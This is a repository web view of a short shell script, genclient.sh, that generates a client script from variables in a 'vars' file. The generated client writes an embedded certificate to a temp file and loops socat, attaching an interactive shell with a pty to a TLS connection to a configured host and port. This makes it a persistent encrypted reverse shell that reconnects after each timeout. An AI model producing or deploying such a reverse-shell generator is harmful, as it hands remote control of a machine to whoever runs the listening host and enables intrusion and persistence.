aboutsummaryrefslogtreecommitdiff
path: root/genclient.sh
blob: 9984a8b751618a938f9bb2e1fab4d1bd85cfa726 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh

. ./vars

help() {
cat <<EOF
Usage: $0

	Generates a client shell script based on the variables set in 'vars'
	and prints to stdout

EOF
exit 1;
}

while [ $# -gt 0 ] ; do case $1 in
	*) help ;;
esac; done

cat <<EOF
#!/bin/sh

_shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
certificate='$(cat ${basename}.crt)'
crt_tmp="\$(mktemp)"
echo "\$certificate" > "\$crt_tmp"
while [ $loop -ne 0 ] ; do
socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
sleep $timeout
done
rm "\$crt_tmp"
EOF